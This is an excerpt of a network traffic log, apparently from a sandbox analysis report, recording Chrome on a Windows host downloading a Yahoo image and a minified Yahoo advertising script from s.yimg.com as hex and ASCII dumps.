2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 4c 41 3a 65 7d 3d 77 69 6e 64 6f 77 3b 65 26 26 28 65 2e 69 6e 50 72 6f 67 72 65 73 73 28 29 26 26 65 2e 61 62 6f 72 74 28 29 2c 74 68 69 73 2e 63 6f 6e 66 69 67 3f 2e 76 69 65 77 65 72 52 65 73 65 74 41 75 74 6f 45 76 65 6e 74 4f 6e 43 6c 6f 73 65 26 26 74 68 69 73 2e 64 61 72 6c 61 41 75 74 6f 45 76 65 6e 74 3f 2e 70 73 26 26 65 2e 61 64 64 28 44 2c 74 68 69 73 2e 64 61 72 6c 61 41 75 74 6f 45 76 65 6e 74 29 2c 74 68 69 73 2e 72 6f 74 61 74 65 49 6e 64 65 78 50 61 67 65 41 64 73 26 26 65 2e 65 76 65 6e 74 28 22 61 64 46 65 74 63 68 22 29 29 2c 74 68 69 73 2e 6f 6e 53 63 72 6f 6c 6c 48 61 6e 64 6c 65 26 26 28 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 72 65 6d 6f 76 65 4c 69 73 74 65 6e 65 72 28 22 73 63 72 6f 6c 6c 22 2c 74 68 69 73 2e 6f 6e 53 63 72 6f 6c Data Ascii: LA:e}=window;e&&(e.inProgress()&&e.abort(),this.config?.viewerResetAutoEventOnClose&&this.darlaAutoEvent?.ps&&e.add(D,this.darlaAutoEvent),this.rotateIndexPageAds&&e.event("adFetch")),this.onScrollHandle&&(window.wafer.removeListener("scroll",this.onScrol

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49822	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:10 UTC	530	OUT	GET /uu/api/res/1.2/DulSD3uwY739wuo0b_JK8A--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/a9a213c0-afef-11ee-b1fd-29b234274d16.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:10 UTC	1297	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 356609487316025369768783900090145151598,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="a9a213c0-afef-11ee-b1fd-29b234274d16.webp" Edge-Cache-Tag: 356609487316025369768783900090145151598,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "e52cbc5c9d7b759a123a66e8bf5846a1" Last-Modified: Wed, 10 Jan 2024 19:37:45 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=356,height=180,bytes=5932,owidth=3638,oheight=2047,obytes=449642,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 513360a465b65a0c061db04eb3a0be76 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 19:56:09 GMT X-Served-By: cache-iad-kjyo7100118-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704916569.472213,VS0,VE1 Age: 12661 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: 513360a465b65a0c061db04eb3a0be76 cld_by: cache-iad-kjyo7100118-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 17000 ATS-Carp-Promotion: 1
2024-01-10 23:27:10 UTC	220	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 40 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 cf 00 06 00 03 00 00 00 00 00 00 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: JFIF@ICC_PROFILE0ADBEmntrRGB XYZ acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 28 16 f7 93 a7 ce 35 43 c0 2c 85 99 41 0a 19 b5 30 f8 8b 68 a6 e2 73 95 0e 2b b0 26 3d 1f a5 ba 62 32 1c e9 d5 df a4 7a b8 3e 8c 53 11 9b d2 1a 85 8e a5 5b 69 11 96 87 02 ed d2 02 83 43 79 bd 20 d1 46 d2 6e 76 8b 20 62 05 d2 75 85 b2 0c 39 a4 52 56 41 83 a4 11 0f 59 72 93 e9 fb 47 c9 1a 54 76 c6 c3 43 78 43 21 be 4a 62 10 58 6d 23 61 15 45 18 a6 53 f0 88 a6 88 32 a6 92 0f 96 17 20 91 b4 b6 07 4d a1 33 7d 0c 89 be 58 56 a4 7d e3 3b 65 b3 5c a4 9d 91 f7 85 b9 32 55 0e 72 53 f0 c0 39 10 52 1b 03 64 c5 59 05 25 a4 f6 8b 4c 96 3c 1b 00 5a 1b 16 4a b3 32 08 2b 25 09 e5 c1 74 55 19 cb 8b 4d 22 d7 46 16 bb 88 6c 28 8c d1 6e 1f 1a 62 a4 e9 8c 4d 4c 4b c9 30 a9 89 85 84 a5 22 ff 00 38 d3 0c 56 bb 29 2b 29 d3 58 8a a3 55 79 c4 b0 ca a4 e4 d2 a2 80 5e 58 19 be 83 68 Data Ascii: (5C,A0hs+&=b2z>S[iCy Fnv bu9RVAYrGTvCxC!JbXm#aES2 M3}XV};e\2UrS9RdY%L<ZJ2+%tUM"Fl(nbMLK0"8V)+)XUy^Xh
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: dc 85 01 ba 75 b5 ef 74 36 69 51 b4 0f 2b 53 14 77 aa 14 47 92 18 a7 ce b0 5f 92 49 da 5d e5 05 05 24 9e d7 08 23 a5 f3 5b 43 a0 72 22 83 6c 13 09 e3 37 95 4c a9 4a 54 e5 4b 73 32 0a 43 ef b7 9e e2 e5 24 5c 1b 6a 33 a1 b5 5f 43 61 d2 27 32 f3 6a 3f b0 14 ba ab 13 f5 23 31 e3 d6 96 15 ef b8 92 92 ab 2b f4 a9 27 52 33 6b 74 ec 48 b8 b0 de dc cd 6e 15 12 d9 4a 97 a6 38 f1 6a ad 32 b6 d9 5d ae 17 30 94 e5 fa 5c 9f dc 98 28 b3 2c a6 d3 09 9f c1 4b 9f a6 a9 8a 5d 71 52 f3 08 d2 5a 6d a7 82 cd fa 25 77 1b 7c be 96 ea c5 27 40 ac c9 79 28 b2 9c 6b c5 3c 39 ac a6 81 c4 c9 27 44 af 37 92 9a 9b 63 9a c1 07 ca a5 ed 94 1d 77 da de a2 e9 5b 2f fc c3 4c b5 f0 67 57 88 ea 93 53 74 3a d3 08 99 68 b6 e3 6f a4 14 38 93 9b 30 f9 6c 47 a1 d7 e5 1a 9c d5 74 73 a9 c5 d3 29 33 Data Ascii: ut6iQ+SwG_I]$#[Cr"l7LJTKs2C$\j3_Ca'2j?#1+'R3ktHnJ8j2]0\(,K]qRZm%w\|'@y(k<9'D7cw[/LgWSt:ho80lGts)3
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 76 c2 50 3d e5 aa f9 45 ed 78 1f 79 30 5c 46 5f 98 6d 76 2d 6b de 03 98 0a 00 33 8d f8 86 f2 73 16 8f 54 98 8e 5d 0c 8c 4a 66 27 a0 36 c4 c3 5c b9 85 a7 3a 4a 88 48 b7 6f 5b 98 4b 7d 8d 6b 88 0d 33 0f 53 a7 26 52 89 aa a3 b2 93 e0 59 b2 b0 12 97 13 f0 94 ab dc 5f c9 56 26 fb c6 dd 64 73 b6 a5 5d 80 d5 f8 74 f5 16 7d 0f 38 5e 90 69 db ab 9f 27 76 d9 0e 8b 00 40 0a 2a 61 56 d3 50 a4 13 6b 10 15 62 ef 65 dd a3 9b ef a6 3b 89 65 aa b8 8f 0f 4d e1 ea b2 d3 30 b5 36 1b 43 aa 4e 57 54 05 ec 56 0f 9a c4 02 0a 6f 71 b8 04 81 05 c6 8b 52 5e 51 cf e7 a5 26 26 70 02 68 a8 71 0c 54 e9 ec 2f 38 78 fb aa 6c 13 99 07 b9 49 48 3a 6b 62 6c 0d ac 6e cb 67 36 67 13 4e 99 e9 39 3a ec f2 d1 38 c1 09 71 61 c0 a5 ac 22 c1 25 40 5e f7 b2 54 0d 8e 86 08 4c d5 23 df 1c 37 c6 4d e2 Data Ascii: vP=Exy0\F_mv-k3sT]Jf'6\:JHo[K}k3S&RY_V&ds]t}8^i'v@*aVPkbe;eM06CNWTVoqR^Q&&phqT/8xlIH:kblng6gN9:8qa"%@^TL#7M
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 2a a7 3a f5 3a 6e 42 65 12 e8 95 f1 05 c7 96 90 52 da 94 dd 90 4d fd 6f 61 b5 ed 18 3d 5b ac 1d 1d 6f 49 7f 9f 43 3c 33 c5 b3 72 33 4e 53 aa 15 25 05 b4 95 21 bf 10 c2 4a b3 0f 30 52 d2 40 ed 6f 74 68 63 c7 a6 7b 1c a8 e8 f3 8b 68 d4 50 16 b4 25 b5 24 ac a5 2a cd 72 45 bf cf e5 68 62 93 02 11 66 d1 52 fc 2d c4 ba af 22 bc c7 3b 62 df 42 a0 7a c5 f3 a1 cb 13 64 4b bc 41 94 5a 9e 6d 12 6b 98 cc 9b 05 32 fa 14 12 7a 2a e9 50 24 76 b4 26 59 e2 82 5a cf ee 47 4b e2 ec 3c d3 82 76 b0 8a 8c 92 db 04 21 f9 a6 94 db 60 a8 5a c5 6e 0c a3 a7 ea d6 33 cb 35 8e 58 38 91 b3 35 16 6a 8b 13 48 9a 94 99 64 8f cb 53 13 25 2a b7 62 2e 73 0f 95 e0 79 36 13 85 22 cd 48 74 49 32 94 4c 8b b7 38 92 53 6d 95 7b 58 03 1b 30 79 38 bb 09 bb 25 ea 0f e5 90 2c cb be 4a 53 e6 16 b6 55 Data Ascii: ::nBeRMoa=[oIC<3r3NS%!J0R@othc{hP%$rEhbfR-";bBzdKAZmk2zP$v&YZGK<v!`Zn35X85jHdS%b.sy6"HtI2L8Sm{X0y8%,JSU
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 0a 11 68 94 5a 90 c1 93 53 66 cb 4e f0 aa 48 67 20 99 44 59 d1 60 34 07 a4 61 d8 56 86 29 92 4d a7 dd 11 ca 96 3b 1f 19 31 d4 22 e6 d7 8c 92 c2 c6 46 4c 52 9a 16 1a 42 27 8a 90 f8 cc c6 db 37 be d1 92 50 ec 62 98 7c a3 17 e9 a0 8a 50 b2 dc eb b2 5e 59 93 60 6d 0f 58 6c 53 cc 14 1a 19 48 22 f1 ab 06 1e c5 cb 38 33 92 b7 37 b4 74 e3 81 31 4f 38 d9 90 49 d4 a4 43 16 00 5e 73 5f 87 a3 e0 10 e8 e2 4b a1 6f 39 ce 78 fd 84 ab 15 fe 1a 54 24 b0 ec c1 96 a8 85 21 4c 3c 9d 32 ab 50 2e 7a 02 48 d6 39 5f 50 6b a5 82 d1 d7 f4 8c ce 59 fa 3c 07 88 b8 11 ed 09 27 50 12 ae 56 9c aa 4b 21 b0 a7 9e 0f a7 2a 55 72 09 4a 4e ba 24 22 c0 82 35 8f 29 7a f5 e0 f4 f9 f1 6e bf ef b3 d1 de cc 38 1a a1 3f 84 6a 87 17 d4 ea b2 93 52 13 cb 62 51 4e 92 db 05 80 86 d6 3c a0 85 1b ac f5 Data Ascii: hZSfNHg DY`4aV)M;1"FLRB'7Pb\|P^Y`mXlSH"837t1O8IC^s_Ko9xT$!L<2P.zH9_PkY<'PVK!*UrJN$"5)zn8?jRbQN<
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: ea 2c 12 3e 7f bd e4 36 5a 13 3d 44 c8 a9 3c 3b 8b 68 58 5e 76 b2 c8 99 6e a0 c3 6a 9c 94 53 6a cc b3 95 2a cf 6f 45 02 09 fe e0 1a 82 63 54 76 db e8 cd 2d 48 c4 e7 bc 36 c7 18 99 8c 7d 53 a1 d7 29 b2 c5 0e a9 21 b0 a1 75 36 9b 1d 52 7a 03 bd ba 5e dd 21 1b 59 13 56 99 d4 d3 c7 5f 62 eb 87 f0 30 90 e2 a8 c5 12 0b 4b 6c ce 4f 4b b6 95 b0 7d d5 66 52 46 5b f5 f2 fd e3 5f a2 b7 b3 b3 0b 2f ea 3d b8 ea fa 7e 44 8f 66 3d 4c 71 24 7b 86 3e d7 2a e2 91 f9 f2 6e e4 d9 a1 4d 57 56 8c 0c 69 22 93 62 ff 00 0d 3f d5 18 34 d1 7c 8d 7e 1b ff 00 4a 2a cb 52 fd cd fe 1a 7f aa 31 2d 17 c9 0a 45 33 31 b6 4b 08 ae 8b e4 2f f0 a4 f7 89 d1 2c 69 74 cd 6d 68 bb 2b 92 10 aa 59 f8 4c 4b 27 24 25 ca 79 09 b2 91 71 10 2e 44 64 cc 8d 89 d3 e5 10 97 60 2a 91 27 66 e1 a8 ae 5f b8 a6 Data Ascii: ,>6Z=D<;hX^vnjSjoEcTv-H6}S)!u6Rz^!YV_b0KlOK}fRF[_/=~Df=Lq${>nMWVi"b?4\|~JR1-E31K/,itmh+YLK'$%yq.Dd`'f_
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 07 8f 0a 87 48 e3 4f 71 42 8f 42 c5 d3 69 c3 b9 66 30 b4 d3 89 42 d4 df f0 25 de 55 f2 db b6 e3 e5 78 44 9b 66 a8 c5 1d 82 81 8c 5a 7d a6 dc 6d f0 40 db 58 cb 39 d3 05 eb a4 2a b7 89 02 96 a7 33 95 23 a1 06 d7 8c b2 d8 fd 8b 58 94 4e 7d 88 2b 8d 4e 93 2a e2 bf 88 2c 49 3b 81 b7 f3 8c 73 fc 4c 74 62 42 4b 48 49 ce 12 e4 db 44 f2 15 74 38 95 58 a0 90 47 d4 77 1e 90 35 43 d4 ba 0d 6a 79 b4 ad 32 8e 8b 14 8b 67 bf 9b 52 6f 6e da c3 22 af a2 72 3a 4f 0c 30 e4 dd 52 a2 d6 27 69 08 72 4a 9c d9 40 61 d5 59 0e 38 bb 75 de e9 b6 fa 79 a3 a1 ad 83 ee ce 5e cf 9f f5 2c 5c 55 e2 fd 2f 87 34 17 67 67 a5 98 53 8b 0a 6d a6 92 42 3d eb 68 91 7d ee 6d f2 1a f4 8e af 5e 0a f8 ed 2b 39 97 b1 56 22 9d c6 f5 ec 5d 88 aa 53 0a 5c d4 c9 2a 5f 64 85 2e c9 03 e4 11 f5 bc 7a df a7 Data Ascii: HOqBBif0B%UxDfZ}m@X93#XN}+N,I;sLtbBKHIDt8XGw5Cjy2gRon"r:O0R'irJ@aY8uy^,\U/4ggSmB=h}m^+9V"]S\*_d.z
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 4d 13 2b a5 bc eb 61 a6 97 7b 20 04 80 00 b5 cf fa 31 74 da 06 d3 fb 94 3a d5 21 aa a5 41 13 2a 97 95 5a 98 7c 72 9d 63 65 25 44 0b c7 2f 6e 26 8b 3a 4d 3a 51 da 7c b2 1d 79 1e 51 74 8b f9 87 7f da e6 30 f1 05 c8 99 9b 6b c5 d3 1c 73 c9 b6 96 bc 53 54 52 65 4a 72 7d b9 46 d2 eb c9 b2 03 68 2a 37 ea 45 c9 fb fd a2 90 e8 94 ec 43 8a 19 93 96 51 69 19 d0 82 14 85 15 5b 32 c6 c2 db 8e bb c3 93 e2 17 f0 55 a8 b8 29 ba 8c d9 9e 99 0a 5b af 80 e3 8b 5e a4 93 7e b1 7e ff 00 54 1c 63 4c ea 18 77 09 29 e6 10 89 56 c2 e6 17 6c a9 3b 01 70 6e 47 5b 80 08 f4 31 4a 9b 13 b1 49 1e a3 e0 1d 5d 02 96 ba 03 eb d4 80 eb 2a 56 e6 c0 02 09 eb b0 8f 7f f4 ee da 4b d8 3e 59 f5 16 93 6d e6 3a a2 99 f4 fb c7 aa 6d 9e 36 99 b0 d7 a4 5d 84 27 94 3b 40 b2 a8 50 6a ff 00 a7 ef 06 59 Data Ascii: M+a{ 1t:!AZ\|rce%D/n&:M:Q\|yQt0ksSTReJr}Fh7ECQi[2U)[^~~TcLw)Vl;pnG[1JI]*VK>Ym:m6]';@PjY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49823	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:10 UTC	563	OUT	GET /aaq/scp/js/fpDesktop.946c2da0001345c6100bc419deb301d7.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:10 UTC	852	IN	HTTP/1.1 200 OK x-amz-id-2: k0V/elvuFRf/0TzVKtwTPH2kANzibY9rI1NMDxXjbx5pi1okfu72WLToxvqfd0TrjdjjZEiHZ78= x-amz-request-id: T18WBEMZ026ZMERZ Date: Wed, 10 Jan 2024 22:12:56 GMT Last-Modified: Sat, 26 Aug 2023 20:08:13 GMT ETag: "946c2da0001345c6100bc419deb301d7" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: MKsQB3Pwy5p9DJVayJq6316bnUJPGrhY Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 17624 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 4455 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 74 3d 65 2e 62 61 73 65 7c 7c 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 2c 6f 29 7b 69 66 28 65 29 72 65 74 75 72 6e 20 6f 3d 6f 7c 7c 7b 7d 2c 65 2e 75 74 69 6c 73 2e 65 6c 65 6d 65 6e 74 49 6e 56 69 65 77 28 6e 2c 6f 2c 74 2e 76 69 65 77 70 6f 72 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 2c 6e 2c 6f 2c 69 29 7b 72 65 74 75 72 6e 7b 63 6c 65 61 6e 3a 74 2c 64 65 73 74 3a 6e 2c 68 3a 69 2c 6d 65 74 61 53 69 7a 65 3a 21 30 2c 70 6f 73 3a 65 2c 73 75 70 70 6f 72 74 73 3a 21 31 2c 77 3a 6f 7d 7d 76 61 72 20 69 3d 7b 63 6f 6e 74 65 78 74 3a 7b 62 75 63 6b 65 74 3a 22 22 2c 62 75 63 6b 65 74 49 64 3a 22 22 2c 64 65 76 Data Ascii: !function(){"use strict";var e=window.wafer,t=e.base\|\|{};function n(n,o){if(e)return o=o\|\|{},e.utils.elementInView(n,o,t.viewport)}function o(e,t,n,o,i){return{clean:t,dest:n,h:i,metaSize:!0,pos:e,supports:!1,w:o}}var i={context:{bucket:"",bucketId:"",dev
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 74 69 6f 6e 2e 68 72 65 66 2c 73 61 3a 6c 2c 73 65 63 75 72 65 3a 74 2e 73 65 63 75 72 65 2c 73 70 3a 74 2e 73 70 2c 73 73 6c 3a 74 2e 73 73 6c 2c 75 6c 74 3a 74 2e 75 6c 74 7d 3b 70 2e 61 64 64 28 63 29 2c 70 2e 65 76 65 6e 74 28 77 29 7d 7d 28 61 29 7d 29 29 2c 28 72 3d 63 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 41 2b 28 6e 75 6c 6c 3d 3d 73 3f 76 6f 69 64 20 30 3a 73 2e 70 6f 73 29 29 29 7c 7c 75 2e 65 6e 61 62 6c 65 47 41 4d 41 64 73 29 7b 65 3d 7b 6f 66 66 73 65 74 58 3a 30 2c 6f 66 66 73 65 74 59 3a 70 61 72 73 65 49 6e 74 28 74 2e 6f 66 66 73 65 74 2c 31 30 29 7c 7c 31 30 30 7d 2c 68 2e 6f 6e 28 62 2c 50 29 2c 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 76 69 65 77 65 72 4f 70 65 6e 65 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: tion.href,sa:l,secure:t.secure,sp:t.sp,ssl:t.ssl,ult:t.ult};p.add(c),p.event(w)}}(a)})),(r=c.getElementById(A+(null==s?void 0:s.pos)))\|\|u.enableGAMAds){e={offsetX:0,offsetY:parseInt(t.offset,10)\|\|100},h.on(b,P),d.addEventListener("viewerOpened",(function(
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 52 42 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 48 74 2d 70 6c 2d 4c 52 45 43 22 29 29 26 26 28 69 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 48 74 2d 70 6c 2d 4c 44 52 42 22 29 2c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 48 74 2d 70 6c 2d 4c 52 45 43 22 29 29 7d 69 66 28 74 2e 4d 4f 4e 32 26 26 74 2e 4c 52 45 43 33 26 26 74 2e 4c 52 45 43 34 29 7b 76 61 72 20 61 3d 74 2e 4d 4f 4e 32 2e 76 61 6c 69 64 41 64 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 73 64 61 2d 4c 52 45 43 33 22 29 2c 73 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 73 64 61 2d 4c 52 45 43 34 22 29 3b 61 3f 28 72 2e 63 6c 61 73 73 4c 69 73 74 2e 61 Data Ascii: RB")\|\|i.classList.contains("Ht-pl-LREC"))&&(i.classList.remove("Ht-pl-LDRB"),i.classList.remove("Ht-pl-LREC"))}if(t.MON2&&t.LREC3&&t.LREC4){var a=t.MON2.validAd,r=document.getElementById("sda-LREC3"),s=document.getElementById("sda-LREC4");a?(r.classList.a
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 6e 20 49 28 29 7b 76 61 72 20 65 3b 69 66 28 64 2e 70 61 67 65 6c 6f 61 64 4e 6f 6e 43 6f 6c 6c 61 70 73 65 64 41 64 73 29 7b 66 6f 72 28 76 61 72 20 6f 2c 69 3d 5b 5d 2c 61 3d 64 2e 70 61 67 65 6c 6f 61 64 4e 6f 6e 43 6f 6c 6c 61 70 73 65 64 41 64 73 2c 72 3d 30 2c 73 3d 5b 22 4c 52 45 43 22 2c 22 4d 41 53 54 22 2c 22 4c 44 52 42 22 2c 22 55 42 41 4c 44 52 42 22 2c 22 55 42 41 4c 52 45 43 22 2c 22 55 42 41 4c 52 45 43 32 22 2c 22 55 42 41 4c 52 45 43 33 22 5d 3b 72 3c 73 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 75 3d 73 5b 72 5d 2c 66 3d 75 3b 69 66 28 61 2e 69 6e 64 65 78 4f 66 28 75 29 3e 3d 30 29 7b 75 2e 69 6e 63 6c 75 64 65 73 28 22 55 42 41 22 29 26 26 28 66 3d 75 2e 73 70 6c 69 74 28 22 55 42 41 22 29 5b 31 5d 29 3b 76 61 72 20 76 3d 63 Data Ascii: n I(){var e;if(d.pageloadNonCollapsedAds){for(var o,i=[],a=d.pageloadNonCollapsedAds,r=0,s=["LREC","MAST","LDRB","UBALDRB","UBALREC","UBALREC2","UBALREC3"];r<s.length;r++){var u=s[r],f=u;if(a.indexOf(u)>=0){u.includes("UBA")&&(f=u.split("UBA")[1]);var v=c
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 20 6e 3d 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 4f 29 3b 69 66 28 6e 26 26 6e 2e 6c 65 6e 67 74 68 3e 30 29 7b 6c 2e 72 65 70 6c 61 63 65 57 69 74 68 28 6e 5b 30 5d 29 3b 76 61 72 20 6f 3d 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 4f 29 3b 6f 26 26 6f 2e 6c 65 6e 67 74 68 3e 30 26 26 28 6c 3d 6f 5b 30 5d 2c 64 2e 77 61 66 65 72 2e 62 61 73 65 2e 73 79 6e 63 28 6c 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 29 7d 7d 7d 29 29 7d 7d 28 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 2c 74 2c 6e 29 7b 76 61 72 20 6f 2c 69 2c 61 3d 76 2e 63 6f 6e 74 65 78 74 2c 72 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 2e 62 75 63 6b 65 74 29 3f 61 2e 62 75 63 6b 65 74 2e 6a 6f 69 6e 28 22 2c 22 29 Data Ascii: n=e.getElementsByClassName(O);if(n&&n.length>0){l.replaceWith(n[0]);var o=c.getElementsByClassName(O);o&&o.length>0&&(l=o[0],d.wafer.base.sync(l.parentElement))}}}))}}()}}}function k(e,t,n){var o,i,a=v.context,r=Array.isArray(a.bucket)?a.bucket.join(",")
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 65 72 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 75 74 69 6c 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6e 3f 76 6f 69 64 20 30 3a 6e 2e 66 69 72 65 42 65 61 63 6f 6e 29 26 26 64 2e 77 61 66 65 72 2e 75 74 69 6c 73 2e 66 69 72 65 42 65 61 63 6f 6e 28 6f 29 7d 70 3f 44 28 29 3a 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 64 61 72 6c 61 52 65 61 64 79 4f 6e 41 73 79 6e 63 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 44 28 29 7d 29 29 7d 3b 76 61 72 20 73 2c 6c 2c 64 3d 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 74 72 61 6e 73 66 6f 72 6d 44 61 72 6c 61 43 6f 6e 66 54 6f Data Ascii: er)\|\|void 0===t?void 0:t.utils)\|\|void 0===n?void 